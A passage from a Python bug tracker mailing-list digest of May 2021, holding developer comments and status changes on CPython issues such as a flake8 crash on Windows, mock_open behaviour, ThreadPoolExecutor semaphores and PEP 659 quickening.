setup.py C:\Users\asott\AppData\Local\Temp\y\pyflakes>echo %ERRORLEVEL% -1073741819 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 19 23:44:09 2021 From: report at bugs.python.org (Ned Deily) Date: Thu, 20 May 2021 03:44:09 +0000 Subject: [issue44183] Can't install certificates if GUI tools are not installed on macOS In-Reply-To: <1621479847.79.0.193086544632.issue44183@roundup.psfhosted.org> Message-ID: <1621482249.58.0.548338426579.issue44183@roundup.psfhosted.org> Change by Ned Deily : ---------- assignee: -> ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 00:21:42 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 20 May 2021 04:21:42 +0000 Subject: [issue44163] IDLE ValueError in HyperParser In-Reply-To: <1621295243.03.0.896879561831.issue44163@roundup.psfhosted.org> Message-ID: <1621484502.11.0.122136383788.issue44163@roundup.psfhosted.org> Terry J. Reedy added the comment: So, consider both possibilities where relevant. In the future, I will assume that you are running standard, up-to-date, Mac build unless you say otherwise. I presume you start IDLE from terminal and check it before shutting down. I have wondered whether it might be worthwhile to try to catch the occasional messages even when running from an icon. Seems it might be. This conditional exception was part of the 2005 merge of the separate IDLE branch. So there is no history to say whether 'just-in-case' or known trigger. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 02:41:39 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Thu, 20 May 2021 06:41:39 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621492899.72.0.67864653512.issue44184@roundup.psfhosted.org> Shreyan Avigyan added the comment: This looks like a pyflakes error to me. And you've also mentioned you can reproduce it outside tox with pyflakes. ---------- nosy: +shreyanavigyan title: crash on windows invoking flake8 under tox -> crash on windows invoking flake8 type: -> crash _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 02:55:13 2021 From: report at bugs.python.org (Christian Heimes) Date: Thu, 20 May 2021 06:55:13 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621493713.4.0.760935025122.issue44184@roundup.psfhosted.org> Christian Heimes added the comment: Anthony, could you please check if any of your dependencies has a native C extension? On Windows they have a .pyd extension. ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 03:19:36 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Thu, 20 May 2021 07:19:36 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621495176.86.0.658047477133.issue44184@roundup.psfhosted.org> Shreyan Avigyan added the comment: It's reproducible. I reproduced it on my Windows 10 with Python 3.10.0b1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 04:17:05 2021 From: report at bugs.python.org (William Sjoblom) Date: Thu, 20 May 2021 08:17:05 +0000 Subject: [issue44185] mock_open file handle __exit__ does not call close Message-ID: <1621498625.9.0.422400740011.issue44185@roundup.psfhosted.org> New submission from William Sjoblom : A common testing scenario is assuring that opened files are closed. Since unittest.mock.mock_open() can be used as a context manager, it would be reasonable to expect its __exit__ to invoke close so that one can easily assert that the file was closed, regardless of if the file was opened with a plain call to open or with a context manager. ---------- components: Library (Lib) messages: 394005 nosy: williamsjoblom priority: normal severity: normal status: open title: mock_open file handle __exit__ does not call close type: enhancement versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 04:32:46 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 20 May 2021 08:32:46 +0000 Subject: [issue44163] IDLE ValueError in HyperParser In-Reply-To: <1621295243.03.0.896879561831.issue44163@roundup.psfhosted.org> Message-ID: <1621499566.09.0.245474387543.issue44163@roundup.psfhosted.org> Tal Einat added the comment: I took a look but can't see any obvious bugs there. ISTM that's a rather harmless edge case. I can't think of anything to do with this except to close for now, and reopen if this pops up again. Thinking a few steps forward, to make sense of such issues, it would be greatly beneficial to get a full stack dump rather than just a traceback. Perhaps we should add something of the sort to IDLE, ideally something which works even when not running from the command line? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 04:39:23 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Thu, 20 May 2021 08:39:23 +0000 Subject: [issue44185] mock_open file handle __exit__ does not call close In-Reply-To: <1621498625.9.0.422400740011.issue44185@roundup.psfhosted.org> Message-ID: <1621499963.96.0.759740017244.issue44185@roundup.psfhosted.org> Change by Karthikeyan Singaravelan : ---------- nosy: +xtreak _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 06:06:03 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 20 May 2021 10:06:03 +0000 Subject: [issue43295] datetime.strptime emits IndexError on parsing 'z' as %z In-Reply-To: <1614002299.86.0.551520528109.issue43295@roundup.psfhosted.org> Message-ID: <1621505163.29.0.392768975968.issue43295@roundup.psfhosted.org> STINNER Victor added the comment: It seems like the issue is fixed, I close it. ---------- nosy: +vstinner resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 06:18:06 2021 From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=) Date: Thu, 20 May 2021 10:18:06 +0000 Subject: [issue44166] Make IndexError messages for list more informative In-Reply-To: <1621323219.05.0.0543571942932.issue44166@roundup.psfhosted.org> Message-ID: <1621505886.02.0.135144207803.issue44166@roundup.psfhosted.org> Change by R?mi Lapeyre : ---------- nosy: +remi.lapeyre _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 06:21:59 2021 From: report at bugs.python.org (Eiji Ito) Date: Thu, 20 May 2021 10:21:59 +0000 Subject: [issue44186] TimedRotatingFileHandler overwrite log Message-ID: <1621506119.34.0.442557367091.issue44186@roundup.psfhosted.org> New submission from Eiji Ito : If you use TimedRotatingFileHandler and specify when='midnight',atTime, the log will always rollover if you start it at the same time as atTime. For example, if atTime='00:00:00', and you run a script that outputs logs using the logger library twice at 00:00:00, the log that was rolled over the first time will be overwritten by the second rollover, and the 1st rollovered log will be lost. ---------- components: Library (Lib) messages: 394009 nosy: aeg priority: normal severity: normal status: open title: TimedRotatingFileHandler overwrite log type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 06:21:56 2021 From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=) Date: Thu, 20 May 2021 10:21:56 +0000 Subject: [issue44169] Add HTTPS support to http.server In-Reply-To: <1621333358.88.0.804428492297.issue44169@roundup.psfhosted.org> Message-ID: <1621506116.91.0.492950616758.issue44169@roundup.psfhosted.org> R?mi Lapeyre added the comment: This is already proposed in issue 40990 for which I am working on a PR. ---------- nosy: +remi.lapeyre versions: +Python 3.11 -Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 06:24:03 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 20 May 2021 10:24:03 +0000 Subject: [issue36160] Multiple errors in test_site.py on sysconfig._CONFIG_VARS.clear() if run on its own In-Reply-To: <1551465560.76.0.129130673812.issue36160@roundup.psfhosted.org> Message-ID: <1621506243.08.0.131912997417.issue36160@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 06:25:46 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 20 May 2021 10:25:46 +0000 Subject: [issue36160] Multiple errors in test_site.py on sysconfig._CONFIG_VARS.clear() if run on its own In-Reply-To: <1551465560.76.0.129130673812.issue36160@roundup.psfhosted.org> Message-ID: <1621506346.21.0.983350016373.issue36160@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 1.0 -> 2.0 pull_requests: +24866 pull_request: https://github.com/python/cpython/pull/26262 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 06:25:51 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 20 May 2021 10:25:51 +0000 Subject: [issue36160] Multiple errors in test_site.py on sysconfig._CONFIG_VARS.clear() if run on its own In-Reply-To: <1551465560.76.0.129130673812.issue36160@roundup.psfhosted.org> Message-ID: <1621506351.11.0.654302947884.issue36160@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24867 pull_request: https://github.com/python/cpython/pull/26263 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 06:42:00 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 20 May 2021 10:42:00 +0000 Subject: [issue36160] Multiple errors in test_site.py on sysconfig._CONFIG_VARS.clear() if run on its own In-Reply-To: <1551465560.76.0.129130673812.issue36160@roundup.psfhosted.org> Message-ID: <1621507320.01.0.552601546025.issue36160@roundup.psfhosted.org> Irit Katriel added the comment: New changeset b9258b03b864520525176f927156b85a532a9d7c by Miss Islington (bot) in branch '3.9': bpo-36160: Fix test_site so that it can run independently of other tests (GH-12131) (GH-26263) https://github.com/python/cpython/commit/b9258b03b864520525176f927156b85a532a9d7c ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 06:42:18 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 20 May 2021 10:42:18 +0000 Subject: [issue36160] Multiple errors in test_site.py on sysconfig._CONFIG_VARS.clear() if run on its own In-Reply-To: <1551465560.76.0.129130673812.issue36160@roundup.psfhosted.org> Message-ID: <1621507338.62.0.378064773206.issue36160@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 06:42:04 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 20 May 2021 10:42:04 +0000 Subject: [issue36160] Multiple errors in test_site.py on sysconfig._CONFIG_VARS.clear() if run on its own In-Reply-To: <1551465560.76.0.129130673812.issue36160@roundup.psfhosted.org> Message-ID: <1621507324.02.0.44362146903.issue36160@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 4389711ce935bef3844dd24d7fe8460a5fef62e6 by Miss Islington (bot) in branch '3.10': bpo-36160: Fix test_site so that it can run independently of other tests (GH-12131) (GH-26262) https://github.com/python/cpython/commit/4389711ce935bef3844dd24d7fe8460a5fef62e6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 06:50:45 2021 From: report at bugs.python.org (Eiji Ito) Date: Thu, 20 May 2021 10:50:45 +0000 Subject: [issue44186] TimedRotatingFileHandler overwrite log In-Reply-To: <1621506119.34.0.442557367091.issue44186@roundup.psfhosted.org> Message-ID: <1621507845.91.0.489982952625.issue44186@roundup.psfhosted.org> Change by Eiji Ito : Added file: https://bugs.python.org/file50053/log.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 06:54:07 2021 From: report at bugs.python.org (Mark Bell) Date: Thu, 20 May 2021 10:54:07 +0000 Subject: [issue28937] str.split(): allow removing empty strings (when sep is not None) In-Reply-To: <1481469102.15.0.255147638686.issue28937@psf.upfronthosting.co.za> Message-ID: <1621508047.92.0.200111753495.issue28937@roundup.psfhosted.org> Mark Bell added the comment: Thank you very much for confirming these test cases. Using these I believe that I have now been able to complete a patch that would implement this feature. The PR is available at https://github.com/python/cpython/pull/26222. As I am a first-time contributor, please could a maintainer approve running the CI workflows so that I can confirm that all the (new) tests pass. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 07:15:19 2021 From: report at bugs.python.org (Mark Shannon) Date: Thu, 20 May 2021 11:15:19 +0000 Subject: [issue44187] Implement infrastructure for quickening and specializing Message-ID: <1621509319.67.0.0822328288042.issue44187@roundup.psfhosted.org> New submission from Mark Shannon : As described in PEP 659 (Specializing Adaptive Interpreter) the first part of implementing specialization is to implement the machinery to do the quickening. Conceptually, this is fairly simple: add a new field to the code object, which points to the first instruction in the bytecode. When quickening, we create a new array, copy the old bytecode into it, and make the new field point to it. Without any specialization or superinstructions, this will just waste memory. However, it will pay off soon enough as we implement superinstructions, remove the old "opcache" and add new specializations. We expect to see worthwhile speed ups with just superinstructions, and large speedups when all the above features have been implemented. ---------- assignee: Mark.Shannon messages: 394013 nosy: Mark.Shannon priority: normal severity: normal status: open title: Implement infrastructure for quickening and specializing type: performance _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 07:39:00 2021 From: report at bugs.python.org (Mark Shannon) Date: Thu, 20 May 2021 11:39:00 +0000 Subject: [issue44187] Implement infrastructure for quickening and specializing In-Reply-To: <1621509319.67.0.0822328288042.issue44187@roundup.psfhosted.org> Message-ID: <1621510740.48.0.0395658076089.issue44187@roundup.psfhosted.org> Change by Mark Shannon : ---------- keywords: +patch pull_requests: +24868 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26264 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 07:41:04 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 20 May 2021 11:41:04 +0000 Subject: [issue44099] [C API] Introduce a new slot in PyModuleDef to hold the classes In-Reply-To: <1620640199.52.0.65741822747.issue44099@roundup.psfhosted.org> Message-ID: <1621510864.53.0.836807067673.issue44099@roundup.psfhosted.org> Erlend E. Aasland added the comment: See also bpo-42376 ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 07:43:00 2021 From: report at bugs.python.org (Erik Carstensen) Date: Thu, 20 May 2021 11:43:00 +0000 Subject: [issue43905] dataclasses.astuple does deepcopy on all fields In-Reply-To: <1619007557.11.0.871267775065.issue43905@roundup.psfhosted.org> Message-ID: <1621510980.06.0.391517589435.issue43905@roundup.psfhosted.org> Erik Carstensen added the comment: Would it make sense to make dataclasses iterable, like so? def __iter__(self): return (getattr(self, field.name) for field in fields(self)) With that in place, deprecating astuple would maybe be less disruptive? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 07:47:43 2021 From: report at bugs.python.org (Bikram Singh Mehra) Date: Thu, 20 May 2021 11:47:43 +0000 Subject: [issue44177] Unable to get the else while parsing through AST module In-Reply-To: <1621417742.65.0.783924257321.issue44177@roundup.psfhosted.org> Message-ID: <1621511263.06.0.553488484676.issue44177@roundup.psfhosted.org> Bikram Singh Mehra added the comment: Hi Eric, I have tried the action plan suggested by you in your last comment, but below are my logs and still I am unable to get lineno for else statement. ----The respective line no for each line are below ---- 1 2 if num > 0: 3 print("Positive number") 4 elif num == 0: 5 print("Zero") 6 else: 7 print("Negative number") >The re-formatted dump is as below and doesn't have lineno for else statement Module(body=[If(test=Compare(left=Name(id='num', ctx=Load(), lineno=2, col_offset=3, end_lineno=2, end_col_offset=6), ops=[Gt()], comparators=[Constant(value=0, kind=None, lineno=2, col_offset=9, end_lineno=2, end_col_offset=10)], lineno=2, col_offset=3, end_lineno=2, end_col_offset=10), body=[Expr(value=Call(func=Name(id='print', ctx=Load(), lineno=3, col_offset=4, end_lineno=3, end_col_offset=9), args=[Constant(value='Positive number', kind=None, lineno=3, col_offset=10, end_lineno=3, end_col_offset=27)], keywords=[], lineno=3, col_offset=4, end_lineno=3, end_col_offset=28), lineno=3, col_offset=4, end_lineno=3, end_col_offset=28)], orelse=[If(test=Compare(left=Name(id='num', ctx=Load(), lineno=4, col_offset=5, end_lineno=4, end_col_offset=8), ops=[Eq()], comparators=[Constant(value=0, kind=None, lineno=4, col_offset=12, end_lineno=4, end_col_offset=13)], lineno=4, col_offset=5, end_lineno=4, end_col_offset=13), body=[Expr(value=Call(func=Name(id='print', ctx=Load(), lineno=5, col_offset=4, end_lineno=5, end_col_offset=9), args=[Constant(value='Zero', kind=None, lineno=5, col_offset=10, end_lineno=5, end_col_offset=16)], keywords=[], lineno=5, col_offset=4, end_lineno=5, end_col_offset=17), lineno=5, col_offset=4, end_lineno=5, end_col_offset=17)], orelse=[Expr(value=Call(func=Name(id='print', ctx=Load(), lineno=7, col_offset=4, end_lineno=7, end_col_offset=9), args=[Constant(value='Negative number', kind=None, lineno=7, col_offset=10, end_lineno=7, end_col_offset=27)], keywords=[], lineno=7, col_offset=4, end_lineno=7, end_col_offset=28), lineno=7, col_offset=4, end_lineno=7, end_col_offset=28)], lineno=4, col_offset=0, end_lineno=7, end_col_offset=28)], lineno=2, col_offset=0, end_lineno=7, end_col_offset=28)], type_ignores=[]) > If we use tree to get the lineno then its giving as below tree.body[0].orelse[0].orelse[0].lineno 7 Here the lineno 7 denotes to the body of else statement not the else lineno. Could you please help me out where you can show the respective line no of else statement i.e. 6 in above example. Thanks and Best Regards, Bikram ---------- resolution: works for me -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 07:51:36 2021 From: report at bugs.python.org (Bennie Swart) Date: Thu, 20 May 2021 11:51:36 +0000 Subject: [issue44188] ThreadPoolExecutor unbalanced semaphore count Message-ID: <1621511496.17.0.839085647104.issue44188@roundup.psfhosted.org> New submission from Bennie Swart : The concurrent.futures.ThreadPoolExecutor class, which is the default asyncio executor, introduced the _idle_semaphore field in version 3.8 in order to track idle threads so they can be reused before increasing the pool size unnecessarily. This semaphore counter becomes unbalanced when the thread pool is over-saturated, as can be seen in the file provided. This is due to workers always incrementing the count after finishing a job, whereas the executor only decrements the count if it is already greater than 0. This seems to be a logic bug unrelated to the running environment and introduced since python 3.8. ---------- components: asyncio files: bug.py messages: 394017 nosy: asvetlov, bennieswart, yselivanov priority: normal severity: normal status: open title: ThreadPoolExecutor unbalanced semaphore count type: behavior versions: Python 3.8 Added file: https://bugs.python.org/file50054/bug.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 07:54:28 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 20 May 2021 11:54:28 +0000 Subject: [issue44177] Unable to get the else while parsing through AST module In-Reply-To: <1621417742.65.0.783924257321.issue44177@roundup.psfhosted.org> Message-ID: <1621511668.33.0.853880614248.issue44177@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- nosy: -pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 08:04:14 2021 From: report at bugs.python.org (Bennie Swart) Date: Thu, 20 May 2021 12:04:14 +0000 Subject: [issue44188] ThreadPoolExecutor unbalanced semaphore count In-Reply-To: <1621511496.17.0.839085647104.issue44188@roundup.psfhosted.org> Message-ID: <1621512254.22.0.737289689585.issue44188@roundup.psfhosted.org> Change by Bennie Swart : ---------- keywords: +patch pull_requests: +24869 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26265 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 08:08:24 2021 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 20 May 2021 12:08:24 +0000 Subject: [issue44177] Unable to get the else while parsing through AST module In-Reply-To: <1621417742.65.0.783924257321.issue44177@roundup.psfhosted.org> Message-ID: <1621512504.68.0.842844194131.issue44177@roundup.psfhosted.org> Eric V. Smith added the comment: There's no actual code associated with the "else" line, so there's no way to get the line number. dis.dis(sample_data) might give you some insight. Since this all works as designed, I'm going to close this issue. You might get more help on StackOverflow or similar. ---------- resolution: -> not a bug status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 08:10:46 2021 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 20 May 2021 12:10:46 +0000 Subject: [issue43905] dataclasses.astuple does deepcopy on all fields In-Reply-To: <1619007557.11.0.871267775065.issue43905@roundup.psfhosted.org> Message-ID: <1621512646.44.0.862207189891.issue43905@roundup.psfhosted.org> Eric V. Smith added the comment: No, iteration is explicitly a non-goal of PEP 557. See the section on namedtuple for why: https://www.python.org/dev/peps/pep-0557/#why-not-just-use-namedtuple ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 08:11:12 2021 From: report at bugs.python.org (Antony Lee) Date: Thu, 20 May 2021 12:11:12 +0000 Subject: [issue44189] multiprocessing AF_PIPE name format is slightly confusing in the docs Message-ID: <1621512672.42.0.522584342621.issue44189@roundup.psfhosted.org> New submission from Antony Lee : https://docs.python.org/3/library/multiprocessing.html#address-formats currently states > An 'AF_PIPE' address is a string of the form r'\.\pipe{PipeName}'. To use Client() to connect to a named pipe on a remote computer called ServerName one should use an address of the form r'\ServerName\pipe{PipeName}' instead. which suggests that if the pipe is named "foo", the string should be r'\.\pipe{foo}' (especially given that the other substituted string, ServerName, is given in italics... but actually the correct format is r'\.\pipe\foo'. Hence I would suggest fixing the markup to give name formats as r'\.pipe\PipeName' where PipeName, is in italics, like ServerName. ---------- assignee: docs at python components: Documentation messages: 394020 nosy: Antony.Lee, docs at python priority: normal severity: normal status: open title: multiprocessing AF_PIPE name format is slightly confusing in the docs _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 08:19:12 2021 From: report at bugs.python.org (Fred) Date: Thu, 20 May 2021 12:19:12 +0000 Subject: [issue40990] Make http.server support SSL In-Reply-To: <1592311907.03.0.0583719503418.issue40990@roundup.psfhosted.org> Message-ID: <1621513152.02.0.606555104299.issue40990@roundup.psfhosted.org> Fred added the comment: It could look for a existing certificate in a well-known location, and could fallback to an self-signed certificate that could be shipped with Python. ---------- nosy: +Fred _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 08:30:15 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Thu, 20 May 2021 12:30:15 +0000 Subject: [issue44099] [C API] Introduce a new slot in PyModuleDef to hold the classes In-Reply-To: <1620640199.52.0.65741822747.issue44099@roundup.psfhosted.org> Message-ID: <1621513815.59.0.244985012373.issue44099@roundup.psfhosted.org> Shreyan Avigyan added the comment: I'm not sure if bpo-42376 is same as this one. Yes the basic idea to provide abstraction and make it easy for the users to add type is same but the approaches suggested are completely different. I propose a new structure member in PyModuleDef be added where we can just specify the address of the types and then in PyModule_Create add those automatically and set the member back to NULL. This will not be a performance improvement just an enhancement to allow adding types more easily. The only thing I'm concerned about is that will it break the Stable ABI? It'll not break C extensions though. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 08:42:29 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 20 May 2021 12:42:29 +0000 Subject: [issue44099] [C API] Introduce a new slot in PyModuleDef to hold the classes In-Reply-To: <1620640199.52.0.65741822747.issue44099@roundup.psfhosted.org> Message-ID: <1621514549.09.0.658626181517.issue44099@roundup.psfhosted.org> Erlend E. Aasland added the comment: How will you differentiate which types should be added to the module dict and which not to add. How will you map the instantiated type objects to the respective module state members? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 08:51:35 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Thu, 20 May 2021 12:51:35 +0000 Subject: [issue44099] [C API] Introduce a new slot in PyModuleDef to hold the classes In-Reply-To: <1620640199.52.0.65741822747.issue44099@roundup.psfhosted.org> Message-ID: <1621515095.42.0.777149347985.issue44099@roundup.psfhosted.org> Shreyan Avigyan added the comment: In PyModule_Create -> PyModule_Create2 -> SomeFunc... it would loop through the array of object addresses and call PyModule_AddType on each and every one of them. This will not change behavior or control flow only implement a handy way. This I've found very distrubing, PyModule_AddType(&Example1); PyModule_AddType(&Example2); PyModule_AddType(&Example3); The proposed way will be PyModuleDef examplemodule = { ... .types = {Example1, Example2, Example3}; ... } Now just calling PyModule_Create (not PyModule_Init or any other initialization function) would add those types automatically. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 09:06:47 2021 From: report at bugs.python.org (Christian Heimes) Date: Thu, 20 May 2021 13:06:47 +0000 Subject: [issue44099] [C API] Introduce a new slot in PyModuleDef to hold the classes In-Reply-To: <1620640199.52.0.65741822747.issue44099@roundup.psfhosted.org> Message-ID: <1621516007.01.0.470903247158.issue44099@roundup.psfhosted.org> Christian Heimes added the comment: I suggest you try to implement your proposal first before you post it. (spoilers: you will notice that it doesn't work for non-trivial heap types.) ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 10:06:56 2021 From: report at bugs.python.org (Christian Heimes) Date: Thu, 20 May 2021 14:06:56 +0000 Subject: [issue38820] Make Python compatible with OpenSSL 3.0.0 In-Reply-To: <1573916819.64.0.690362352385.issue38820@roundup.psfhosted.org> Message-ID: <1621519616.85.0.842949876172.issue38820@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +24870 pull_request: https://github.com/python/cpython/pull/26266 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 10:10:59 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Thu, 20 May 2021 14:10:59 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1621519859.24.0.445329295958.issue43882@roundup.psfhosted.org> Change by Senthil Kumaran : ---------- pull_requests: +24871 stage: resolved -> patch review pull_request: https://github.com/python/cpython/pull/26267 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 10:28:19 2021 From: report at bugs.python.org (Anthony Sottile) Date: Thu, 20 May 2021 14:28:19 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621520899.07.0.0161094261162.issue44184@roundup.psfhosted.org> Anthony Sottile added the comment: everything in this virtualenv is pure python so I don't think it's a faulty third party extension module ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 10:35:37 2021 From: report at bugs.python.org (Pierre Ossman) Date: Thu, 20 May 2021 14:35:37 +0000 Subject: [issue44185] mock_open file handle __exit__ does not call close In-Reply-To: <1621498625.9.0.422400740011.issue44185@roundup.psfhosted.org> Message-ID: <1621521337.14.0.558606645181.issue44185@roundup.psfhosted.org> Change by Pierre Ossman : ---------- nosy: +CendioOssman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 10:40:20 2021 From: report at bugs.python.org (David Hariri) Date: Thu, 20 May 2021 14:40:20 +0000 Subject: [issue44190] Dictionary assignment shorthand Message-ID: <1621521620.13.0.853268925141.issue44190@roundup.psfhosted.org> New submission from David Hariri : In some languages, one may declare a dictionary's key and its value like so: ``` foo = "bar" my_dict = { foo } >> { "foo" : "bar" } ``` In Python, one must instead write: ``` foo = "bar" my_dict = { "foo": foo } >> { "foo" : "bar" } ``` I humbly suggest this change as a QoL improvement for those who work with dictionaries all day. ---------- messages: 394027 nosy: davidhariri priority: normal severity: normal status: open title: Dictionary assignment shorthand type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 10:43:23 2021 From: report at bugs.python.org (Christian Heimes) Date: Thu, 20 May 2021 14:43:23 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621521803.42.0.0863202070068.issue44184@roundup.psfhosted.org> Christian Heimes added the comment: Pablo, Steve, please take a look. ---------- assignee: -> steve.dower keywords: +3.10regression nosy: +pablogsal priority: normal -> deferred blocker versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 10:46:18 2021 From: report at bugs.python.org (Christian Heimes) Date: Thu, 20 May 2021 14:46:18 +0000 Subject: [issue44190] Dictionary assignment shorthand In-Reply-To: <1621521620.13.0.853268925141.issue44190@roundup.psfhosted.org> Message-ID: <1621521978.33.0.035795797195.issue44190@roundup.psfhosted.org> Christian Heimes added the comment: Your proposal is not possible in Python. The object does not know under which variable names it is accessible. The closest you can get is this: >>> dict( ... foo="bar" ... ) {'foo': 'bar'} ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 10:46:46 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 20 May 2021 14:46:46 +0000 Subject: [issue38820] Make Python compatible with OpenSSL 3.0.0 In-Reply-To: <1573916819.64.0.690362352385.issue38820@roundup.psfhosted.org> Message-ID: <1621522006.73.0.931009949724.issue38820@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24873 pull_request: https://github.com/python/cpython/pull/26269 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 10:46:31 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Thu, 20 May 2021 14:46:31 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1621521991.5.0.752878412429.issue43882@roundup.psfhosted.org> Change by Senthil Kumaran : ---------- pull_requests: +24872 pull_request: https://github.com/python/cpython/pull/26268 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 10:57:02 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Thu, 20 May 2021 14:57:02 +0000 Subject: [issue44099] [C API] Introduce a new slot in PyModuleDef to hold the classes In-Reply-To: <1620640199.52.0.65741822747.issue44099@roundup.psfhosted.org> Message-ID: <1621522622.87.0.104938503526.issue44099@roundup.psfhosted.org> Shreyan Avigyan added the comment: Yes. It's becoming hard to implement both static and heap types using one struct member. Since this is all about implementing a helping hand when it comes to types I think two different members one for static and another one for heap would be fine. And if someone then comes up with even a better idea, then I'll implement that. I'm now working on implementing them. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 